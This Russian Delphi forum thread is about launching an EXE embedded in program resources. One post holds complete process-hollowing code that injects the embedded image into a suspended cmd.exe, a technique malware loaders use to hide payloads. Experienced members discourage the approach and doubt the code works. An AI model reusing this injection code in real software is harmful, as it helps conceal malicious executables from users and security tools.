Модераторы: Snowy, MetalFan, bems, Poseidon

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Ресурсы 
:(
    Опции темы
Kirgston
Дата 17.1.2009, 14:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Всем доброго времени суток! Подскажите пожалуйста как я могу впихнуть в ресурсы и загрузить от туда ЕХЕ? Ну например как впихнуть я знаю, как загрузить ехе знаю, а мне надо какбы грузить ехе из ресурсов. Как это можно сделать? Зарание очень благодарен
PM MAIL   Вверх
THandle
Дата 17.1.2009, 16:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Хранитель Клуба
Group Icon
Награды: 1



Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 50
Всего: 372



Kirgston, посмотри эту тему:

http://forum.vingrad.ru/forum/topic-242454...25AB/index.html


Или тебе нужно запустить не создавая временного файла на диске?
PM   Вверх
Kirgston
Дата 17.1.2009, 21:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Да именно без временного. У какбы ... также как и картинки грузят с ресурсов, мне также и надо запустить ехе с ресурсов
PM MAIL   Вверх
THandle
Дата 17.1.2009, 21:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Хранитель Клуба
Group Icon
Награды: 1



Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 50
Всего: 372



Kirgston, глянь вот эту тему:

http://forum.vingrad.ru/topic-206695.html
PM   Вверх
Kirgston
Дата 18.1.2009, 15:57 (ссылка)    | (голосов:4) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Спасибо большое!

Код

program project2;
uses
  Windows,
  sysutils,
  Variants,
  rxtypes;
{$R rcx.res}
Var
 nb, i: Cardinal;
 ZwUnmapViewOfSection: function (SectionHandle: THandle;
  p: Pointer): DWord; stdcall;
function protect(characteristics: ULONG): ULONG;
const  mapping: array [0..7] of ULONG =
  ( PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
    PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
PAGE_EXECUTE_READWRITE);
begin
  Result := mapping[characteristics shr 29];
end;
var
  pi: TProcessInformation;
  si: TStartupInfo;
  x, p, q: Pointer;
  nt: PIMAGE_NT_HEADERS;
  context: TContext;
  sect: PIMAGE_SECTION_HEADER;
  hNTDLL: THandle;
begin
   hNTDLL := LoadLibrary( 'ntdll.dll' );
   if( hNTDLL <> NULL ) then
   Begin
      @ZwUnmapViewOfSection := GetProcAddress( hNTDLL, 'ZwUnmapViewOfSection' );
      if( @ZwUnmapViewOfSection = nil ) then
      Begin
         FreeLibrary( hNTDLL );
         ExitProcess( 0 );
      end;
   end else ExitProcess( 0 );
  si.cb := SizeOf(si);
  CreateProcess(nil, 'cmd.exe', nil, nil, FALSE, CREATE_SUSPENDED, nil, nil,
si, pi);
  context.ContextFlags := CONTEXT_INTEGER;
  GetThreadContext(pi.hThread,  context);
 ReadProcessMemory(pi.hProcess,
  PCHAR(context.ebx) + 8,
   @x, sizeof (x),
   nb
   );
  ZwUnmapViewOfSection(pi.hProcess, x);
  p := LockResource(LoadResource(Hinstance, FindResource(Hinstance, 'EXE',
RT_RCDATA)));
  //win32Check(p <> nil);
 if p = nil then exit;
  nt := PIMAGE_NT_HEADERS(PCHAR(p) + PIMAGE_DOS_HEADER(p).e_lfanew);
  q := VirtualAllocEx( pi.hProcess,
                       Pointer(nt.OptionalHeader.ImageBase),
                       nt.OptionalHeader.SizeOfImage,
                       MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(pi.hProcess, q, p, nt.OptionalHeader.SizeOfHeaders, nb);
  sect := PIMAGE_SECTION_HEADER(nt);
  Inc(PIMAGE_NT_HEADERS(sect));
  for I := 0 to nt.FileHeader.NumberOfSections - 1 do
    begin
        WriteProcessMemory(pi.hProcess,
                           PCHAR(q) + sect.VirtualAddress,
                           PCHAR(p) + sect.PointerToRawData,
                           sect.SizeOfRawData, nb);
        VirtualProtectEx( pi.hProcess,
                          PCHAR(q) + sect.VirtualAddress,
                          sect.SizeOfRawData,
                          protect(sect.Characteristics),
                          @x);
        Inc(sect);
    end;
  WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, @q, sizeof(q), nb);
  context.Eax := ULONG(q) + nt.OptionalHeader.AddressOfEntryPoint;
  SetThreadContext(pi.hThread, context);
  ResumeThread(pi.hThread);
  FreeLibrary( hNTDLL );
end.


Но вот не понимаю... с самого начала идет функция. Потом опять какойто кусок без названия вобще... как вызвать? Что оно делает за процесс? И что за библиотека rxtypes ? Зарание ОЧЕНЬ благодарен!!!
PM MAIL   Вверх
CodeMonkey
Дата 18.1.2009, 16:04 (ссылка) |    (голосов:4) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1839
Регистрация: 24.6.2008
Где: Россия, Тверь

Репутация: 29
Всего: 89



...и охота вам проблемы себе на пустом месте создавать...


--------------------
Опытный программист на C++ легко решает любые не существующие в Паскале проблемы.
PM MAIL WWW ICQ Skype GTalk Jabber   Вверх
Kirgston
Дата 18.1.2009, 16:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Почему на прямом месте? =) мне просто надо именно это сделать. Защита  smile 
PM MAIL   Вверх
Kirgston
Дата 18.1.2009, 21:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Подскажите пожалуйста 
PM MAIL   Вверх
THandle
Дата 18.1.2009, 22:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Хранитель Клуба
Group Icon
Награды: 1



Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 50
Всего: 372



Kirgston, послушай лучше CodeMonkey.

Что нужно чтобы загрузить EXE из памяти?
ИМХО, нужно записать в новый процесс данные из загружаемого EXE? А что это за EXE? Это самый обычный PE файл. Нужно знать его структуру, как вообще сделать загрузчик...
Лучше не связываться с этим smile

Сейчас, после изучения кода по данной мной же(сорри за это) ссылке понятно что тот код - просто огрызок, и я не думаю что он будет правильно работать.
Если интересно посмотреть про PE то глянь, например это:

http://rsdn.ru/?article/?baseserv/pe_coff.xml
http://www.rsdn.ru/article/baseserv/peloader.xml
http://www.wasm.ru/publist.php?list=1
(внизу страницы)

Цитата(Kirgston @  18.1.2009,  16:38 Найти цитируемый пост)
Защита  


Придумай для этого что нибудь другое smile
PM   Вверх
Kirgston
Дата 18.1.2009, 23:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Ну хорошо. А как дела с временным файлом? Мне например надо чтобы он работал как из той папки где моя программа, а не обращатся к нему например какбудто он лежит в С:\Temp\...
PM MAIL   Вверх
THandle
Дата 19.1.2009, 00:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Хранитель Клуба
Group Icon
Награды: 1



Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 50
Всего: 372



Kirgston, ну так извлекай к себе в папку.
Как нить так сделай  smile 
Код


procedure TForm1.Button1Click(Sender: TObject);
const
  EXENAME = 'MYEXE.exe';
var
  ResourceStream: TResourceStream;
  SI: TStartupInfo;
  PI: TProcessInformation;
begin
  ResourceStream := TResourceStream.Create(0, 'MYEXE', RT_RCDATA);
  try
    ResourceStream.SaveToFile(ExtractFilePath(ParamStr(0)) + EXENAME);
    ZeroMemory(@SI, SizeOf(SI));
    SI.cb := SizeOf(SI);
    if CreateProcess(nil, PChar(ExtractFilePath(ParamStr(0)) + EXENAME), Nil, Nil, False, 0, Nil, Nil, SI, PI) then
    begin
      CloseHandle(PI.hThread);
      CloseHandle(PI.hProcess);
    end
    else
      ShowMessage(SysErrorMessage(GetLastError));
  finally
    ResourceStream.Free;
  end;
end;


Это сообщение отредактировал(а) THandle - 19.1.2009, 00:44
PM   Вверх
Kirgston
Дата 19.1.2009, 09:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Ну да я понимаю, но подскажите пожалуйста результат? Файл будет виден? Что с ним можно сделать? Это тоже что и 

Res:=TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
Res.SavetoFile(ResNewName);
Res.Free;

?

Насколько я вижу что тут создается как бы... ну файл и сразу запускается. А что дальше? =) Просто я ещё не так силен в делфи как вы. Зарание большое спасибо!!!
PM MAIL   Вверх
CodeMonkey
Дата 19.1.2009, 12:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1839
Регистрация: 24.6.2008
Где: Россия, Тверь

Репутация: 29
Всего: 89



Kirgston, можете объяснить, что вы хотите этим добиться?

P.S. 
Цитата(Kirgston @  18.1.2009,  23:55 Найти цитируемый пост)
Мне например надо чтобы он работал как из той папки где моя программа, а не обращатся к нему например какбудто он лежит в С:\Temp\...

Наверное, текущий каталог правильно указать надо?


--------------------
Опытный программист на C++ легко решает любые не существующие в Паскале проблемы.
PM MAIL WWW ICQ Skype GTalk Jabber   Вверх
Kirgston
Дата 19.1.2009, 13:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Ну смотрите. У меня итак файл в ресурсах и стоит обработчик события если его закроют то чтобы он сразу удалился с харда =) Но мне бы хотелось чтобы он вобще там не появлялся =) думал может есть просто какбы ShellExecute (и тут указать ссылку на внутренний рессурс и всё). 
PM MAIL   Вверх
THandle
Дата 19.1.2009, 13:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Хранитель Клуба
Group Icon
Награды: 1



Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 50
Всего: 372



Kirgston, у тебя есть PI.hProcess. Можно дождаться его завершения. В самом грубом виде выглядело бы так, но это твою программу подвесит smile

Код

procedure TForm1.Button1Click(Sender: TObject);
const
  EXENAME = 'MYEXE.exe';
var
  ResourceStream: TResourceStream;
  SI: TStartupInfo;
  PI: TProcessInformation;
begin
  ResourceStream := TResourceStream.Create(0, 'MYEXE', RT_RCDATA);
  try
    ResourceStream.SaveToFile(ExtractFilePath(ParamStr(0)) + EXENAME);
    ZeroMemory(@SI, SizeOf(SI));
    SI.cb := SizeOf(SI);
    if CreateProcess(nil, PChar(ExtractFilePath(ParamStr(0)) + EXENAME), Nil, Nil, False, 0, Nil, Nil, SI, PI) then
    begin
      WaitForSingleObject(PI.hProcess, INFINITE);
      if not (DeleteFile(ExtractFilePath(ParamStr(0)) + EXENAME)) then
        ShowMessage(SysErrorMessage(GetLastError));
      CloseHandle(PI.hThread);
      CloseHandle(PI.hProcess);
    end
    else
      ShowMessage(SysErrorMessage(GetLastError));
  finally
    ResourceStream.Free;
  end;
end;

PM   Вверх
Kirgston
Дата 19.1.2009, 13:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



Хммм а если просто? Сканировать еее на сколько я понял Диспетчер задач ))))) ну сканировать запущенные программы, и потом если программа не запущена просто удалить файл с харда. Это всё повесить в таймер =) тогда подвисаний не будет. Вобщем на сколько я сейчас понял что у меня и так всё хорошо )))) и не надо себе придумывать лишнего геморроя. 

Извините наверно задам ещё один последний вопросик =). Мне известно что в самом процессоре есть таймер. В семействе MCS - 51 он один. Но... это первая 8ми битка =) щас же идут уже 64 битки =). Так вот. На сколько я понимаю работа с внутренним таймером гораздо быстрее и надежней чем с таймером DPTR тобиш программным, тобиш скажем просто - потоком данных. Так вот у меня вопросик. Те таймера которые я ставлю на VCL панель они какие? Процессорные? Или же программные? Просто если они процессорные то сказать так... использовать их будет намного лучше чем поток, но если это программные то разницы я не вижу никакой. Всё что например делается в таймере будет как бы выглядеть

repeat 
...
Sleep(Как бы интервал таймера)
until Terminated;

Это и будет аналогом таймера. Вся разница которую я щас вижу что таймер выполняет свой код и сразу передает управление гл. коду. А потокотаймер просто подвисает, но при прохождении он не тормозит гл. код. Так что же лучше использовать? Потоки ? Таймера? Если смотреть скажем в будущие. Ведь для х32 я вижу что лучше таймера т.к. они меньше "кушают" объема кода (код меньше). Но уже для х64... там уже многопроцессорность... и например если смотреть в будущие, лучше же чтобы код был как поток, тогда каждый процессор сможет его самостоятельно обрабатывать и переключать на другой процессор если 1 не справляется, а с таймерами уже такого не проделаешь. Я правильно мышлю?  smile 
PM MAIL   Вверх
CodeMonkey
Дата 19.1.2009, 15:12 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1839
Регистрация: 24.6.2008
Где: Россия, Тверь

Репутация: 29
Всего: 89



Цитата(Kirgston @  19.1.2009,  13:00 Найти цитируемый пост)
Ну смотрите. У меня итак файл в ресурсах и стоит обработчик события если его закроют то чтобы он сразу удалился с харда =) Но мне бы хотелось чтобы он вобще там не появлялся =) думал может есть просто какбы ShellExecute (и тут указать ссылку на внутренний рессурс и всё). 

Я вас про яйцо, вы мне про курицу smile
Я не про ваш вопрос, а про задачу, в рамках которой возник сам вопрос. Зачем вам нужен извращённый запуск процесса и какое отношение он имеет к защите.

Цитата(Kirgston @  19.1.2009,  13:47 Найти цитируемый пост)
Те таймера которые я ставлю на VCL панель они какие?

Оболочка для WM_TIMER.

Цитата(Kirgston @  19.1.2009,  13:47 Найти цитируемый пост)
Так что же лучше использовать? Потоки ? Таймера?

Зависит от конкретной задачи. В большинстве случаев достаточно TTimer. Если обработчик должен выполняться долго или же нужна более высокая точность, то используют другие подходы.


--------------------
Опытный программист на C++ легко решает любые не существующие в Паскале проблемы.
PM MAIL WWW ICQ Skype GTalk Jabber   Вверх
bems
Дата 19.1.2009, 20:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 18
Всего: 88



Kirgston, шо за мерзость ты пишешь?


--------------------
Обижено школьников: 8
PM MAIL   Вверх
Kirgston
Дата 19.1.2009, 22:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 792
Регистрация: 24.12.2007

Репутация: нет
Всего: 2



о_О вы про что?
PM MAIL   Вверх
Страницы: (2) [Все] 1 2 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Для новичков"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Для новичков | Следующая тема »


 




[ Время генерации скрипта: 0.1077 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.